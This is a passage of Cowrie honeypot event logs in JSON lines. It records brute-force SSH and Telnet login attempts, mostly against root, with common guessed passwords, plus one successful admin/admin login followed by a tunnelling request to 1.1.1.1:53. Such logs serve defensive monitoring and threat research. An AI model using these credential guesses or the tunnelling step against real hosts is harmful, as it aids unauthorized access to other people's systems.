CS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:14.524235Z","src_ip":"43.153.69.201","session":"4a999bbd6a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacky","message":"login attempt [root/jacky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:14.827604Z","src_ip":"43.153.69.201","session":"4a999bbd6a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":59616,"dst_ip":"10.17.0.5","dst_port":22,"session":"da53b7904ed3","protocol":"ssh","message":"New connection: 170.106.119.118:59616 (10.17.0.5:22) [session: da53b7904ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:14.975211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:14.981194Z","src_ip":"170.106.119.118","session":"da53b7904ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:15.052633Z","src_ip":"170.106.119.118","session":"da53b7904ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckme","message":"login attempt [root/fuckme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:15.367989Z","src_ip":"170.106.119.118","session":"da53b7904ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:15.898371Z","src_ip":"43.153.69.201","session":"4a999bbd6a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:16.456620Z","src_ip":"170.106.119.118","session":"da53b7904ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":33864,"dst_ip":"159.203.135.109","dst_port":22,"session":"829a7a1218a7","protocol":"ssh","message":"New connection: 43.159.169.93:33864 (159.203.135.109:22) [session: 829a7a1218a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:20.042423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:20.047635Z","src_ip":"43.159.169.93","session":"829a7a1218a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:20.116579Z","src_ip":"43.159.169.93","session":"829a7a1218a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789AA","message":"login attempt [root/123456789AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:20.421395Z","src_ip":"43.159.169.93","session":"829a7a1218a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:21.493945Z","src_ip":"43.159.169.93","session":"829a7a1218a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23492,"dst_ip":"10.17.0.5","dst_port":22,"session":"b96fb01c0299","protocol":"ssh","message":"New connection: 87.251.64.176:23492 (10.17.0.5:22) [session: b96fb01c0299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:27.813828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:27.819389Z","src_ip":"87.251.64.176","session":"b96fb01c0299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:27.927007Z","src_ip":"87.251.64.176","session":"b96fb01c0299","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:28.220596Z","src_ip":"87.251.64.176","session":"b96fb01c0299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:28.320847Z","session":"b96fb01c0299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:28.426554Z","src_ip":"87.251.64.176","session":"b96fb01c0299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.891361951828,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:28.508916Z","src_ip":"152.42.224.71","session":"3ff518280c84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:28.530217Z","src_ip":"87.251.64.176","session":"b96fb01c0299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.267871379852295,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:31.862194Z","src_ip":"152.42.224.71","session":"a9be5b9a065b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.092618227005005,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:32.540705Z","src_ip":"152.42.224.71","session":"937deaaf4090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37130,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c620c0957e3","protocol":"telnet","message":"New connection: 152.42.224.71:37130 (10.17.0.5:23) [session: 6c620c0957e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:35.924873Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":50474,"dst_ip":"10.17.0.5","dst_port":22,"session":"652e809b88f6","protocol":"ssh","message":"New connection: 197.248.104.31:50474 (10.17.0.5:22) [session: 652e809b88f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:37.156103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:37.161162Z","src_ip":"197.248.104.31","session":"652e809b88f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:37.377192Z","src_ip":"197.248.104.31","session":"652e809b88f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:38.268706Z","src_ip":"197.248.104.31","session":"652e809b88f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":52148,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ae17a4692bb","protocol":"ssh","message":"New connection: 154.83.13.181:52148 (159.203.135.109:22) [session: 6ae17a4692bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:38.522763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:38.529558Z","src_ip":"154.83.13.181","session":"6ae17a4692bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:39.484621Z","src_ip":"154.83.13.181","session":"6ae17a4692bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:39.490490Z","src_ip":"197.248.104.31","session":"652e809b88f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"1234","message":"login attempt [redmine/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:40.096699Z","src_ip":"154.83.13.181","session":"6ae17a4692bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:41.304863Z","src_ip":"154.83.13.181","session":"6ae17a4692bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":60190,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a6fda5be79b","protocol":"ssh","message":"New connection: 43.153.22.143:60190 (10.17.0.5:22) [session: 8a6fda5be79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:45.448227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:45.453160Z","src_ip":"43.153.22.143","session":"8a6fda5be79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:45.520772Z","src_ip":"43.153.22.143","session":"8a6fda5be79b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e","message":"login attempt [root/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:45.824658Z","src_ip":"43.153.22.143","session":"8a6fda5be79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:46.896519Z","src_ip":"43.153.22.143","session":"8a6fda5be79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.54208540916443,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:47.126894Z","src_ip":"152.42.224.71","session":"f5d8a3756407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46220,"dst_ip":"10.17.0.5","dst_port":23,"session":"27be802cf251","protocol":"telnet","message":"New connection: 152.42.224.71:46220 (10.17.0.5:23) [session: 27be802cf251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:48.605366Z"}
{"eventid":"cowrie.session.closed","duration":44.37410855293274,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:49.514354Z","src_ip":"152.42.224.71","session":"6da06004ec27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46234,"dst_ip":"10.17.0.5","dst_port":23,"session":"35a8f1e08fdc","protocol":"telnet","message":"New connection: 152.42.224.71:46234 (10.17.0.5:23) [session: 35a8f1e08fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:49.694845Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":53512,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c591649507b","protocol":"ssh","message":"New connection: 43.159.35.21:53512 (10.17.0.5:22) [session: 4c591649507b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:51.069842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:51.074744Z","src_ip":"43.159.35.21","session":"4c591649507b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:51.343310Z","src_ip":"43.159.35.21","session":"4c591649507b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123","message":"login attempt [root/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:52.357170Z","src_ip":"43.159.35.21","session":"4c591649507b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:53.606520Z","src_ip":"43.159.35.21","session":"4c591649507b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.59250164031982,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:54.419517Z","src_ip":"152.42.224.71","session":"3407c8ba347c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36384,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a11c05cb11","protocol":"telnet","message":"New connection: 152.42.224.71:36384 (10.17.0.5:23) [session: b7a11c05cb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:55.890850Z"}
